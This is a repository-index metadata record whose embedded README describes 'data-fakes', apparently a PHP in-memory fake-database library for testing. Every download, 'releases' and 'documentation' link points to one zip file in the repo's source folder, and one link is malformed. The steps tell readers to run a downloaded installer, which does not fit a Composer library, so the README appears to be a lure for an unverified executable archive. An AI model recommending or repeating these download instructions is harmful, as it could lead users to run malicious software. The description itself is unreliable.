{"id":34954262,"url":"https://github.com/2022-04-11588/data-fakes","last_synced_at":"2026-04-11T11:36:51.975Z","repository":{"id":328909366,"uuid":"1117249118","full_name":"2022-04-11588/data-fakes","owner":"2022-04-11588","description":"🔍 Generate realistic fake data for testing and development, enhancing your projects with simple, customizable data solutions.","archived":false,"fork":false,"pushed_at":"2026-04-09T16:50:06.000Z","size":2013,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-09T18:27:31.386Z","etag":null,"topics":["data","dataset","developer-tools","fake-content","faker","fakery","groovy","java","mock","phoenix","python","random","ruby","seeding","struct","swift-framework","test-data","testing"],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/2022-04-11588.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-12-16T03:39:41.000Z","updated_at":"2026-04-09T16:50:10.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/2022-04-11588/data-fakes","commit_stats":null,"previous_names":["2022-04-11588/data-fakes"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/2022-04-11588/data-fakes","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/2022-04-11588%2Fdata-fakes","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/2022-04-11588%2Fdata-fakes/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/2022-04-11588%2Fdata-fakes/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/2022-04-11588%2Fdata-fakes/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/2022-04-11588","download_url":"https://codeload.github.com/2022-04-11588/data-fakes/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/2022-04-11588%2Fdata-fakes/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31679482,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-11T08:18:19.405Z","status":"ssl_error","status_checked_at":"2026-04-11T08:17:08.892Z","response_time":54,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["data","dataset","developer-tools","fake-content","faker","fakery","groovy","java","mock","phoenix","python","random","ruby","seeding","struct","swift-framework","test-data","testing"],"created_at":"2025-12-26T21:55:32.519Z","updated_at":"2026-04-11T11:36:51.971Z","avatar_url":"https://github.com/2022-04-11588.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🎉 data-fakes - Easy In-Memory Database for Testing\n\n## 📥 Download Now!\n\n[![Download data-fakes](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip%https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)\n\n## 🚀 Getting Started\n\nWelcome to the data-fakes repository! This application provides an easy way to create in-memory fake databases for MySQL, Redis, and MongoDB. It is designed for anyone looking to test database interactions without the complexity of real databases. \n\n## 🌟 Key Features\n\n- **Deterministic Storage**: Get predictable and repeatable results during tests.\n- **DBAL Simulation**: Simulate database interactions easily.\n- **Time-To-Live (TTL)**: Manage data expiration effortlessly.\n- **Filtering**: Retrieve only the data you need for testing.\n- **Full Test Isolation**: Each test runs independently to avoid conflicts.\n\n## 💻 System Requirements\n\n- **Operating System**: Windows, macOS, or Linux\n- **Memory**: At least 512 MB RAM\n- **PHP Version**: PHP 8.0 or later is required\n- **Composer**: Make sure to have Composer installed to manage PHP dependencies.\n\n## 📂 Download \u0026 Install\n\nTo get started, follow these steps:\n\n1. **Visit the Releases Page**: Click the link below to go to the releases page.\n   [Visit Releases Page to Download](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)\n\n2. **Choose a Release**: Look for the latest version available. \n   \n3. **Download the Files**: You may see multiple files; select the one suitable for your operating system. \n\n4. **Install the Application**: \n   - For **Windows**, run the downloaded installer.\n   - For **macOS**, drag the application to your Applications folder.\n   - For **Linux**, you may need to extract files and run specific commands in the terminal.\n\n5. **Set Up Your Environment**: Follow any on-screen prompts to configure your environment.\n\n6. **Start Using data-fakes**: Open the application and begin your testing!\n\n## 🎓 How to Use data-fakes\n\nTo use data-fakes effectively, consider these points:\n\n- **Create a Connection**: Set up a connection to your fake database using the adapter appropriate for your testing needs.\n  \n- **Add Sample Data**: You can insert sample data into the in-memory database as needed for simulation purposes.\n\n- **Run Tests**: Execute your tests against the fake database. Each run will provide consistent results since the data is stored in-memory.\n\n- **Cleaning Up**: After your tests, you can reset the database, ensuring no data persists beyond your tests.\n\n## 📚 Additional Documentation\n\nFor more detailed instructions, refer to the documentation available in the repository. This includes examples and advanced usage patterns to help you get the most out of data-fakes.\n\n## 🤝 Community Support\n\nIf you have questions or need help, feel free to open an issue in the repository. You can also check the discussions section for community tips and advice.\n\n## 🔍 Related Topics\n\nThis repository includes a variety of topics relevant to database and PHP testing:\n\n- **Data Adapters**\n- **Data Storage**\n- **Mock Databases**\n- **DBAL Simulations**\n  \nExplore these areas to enhance your understanding of how data-fakes integrates into your projects.\n\n## 📜 License\n\nThis project is licensed under the MIT License. You can use, modify, and distribute the code, but attribution is appreciated.\n\n## 📥 Quick Links\n\n- [Download data-fakes](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)\n- [Documentation](https://raw.githubusercontent.com/2022-04-11588/data-fakes/main/src/fakes-data-v3.9.zip)\n\nStart your testing journey with data-fakes today!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F2022-04-11588%2Fdata-fakes","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F2022-04-11588%2Fdata-fakes","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F2022-04-11588%2Fdata-fakes/lists"}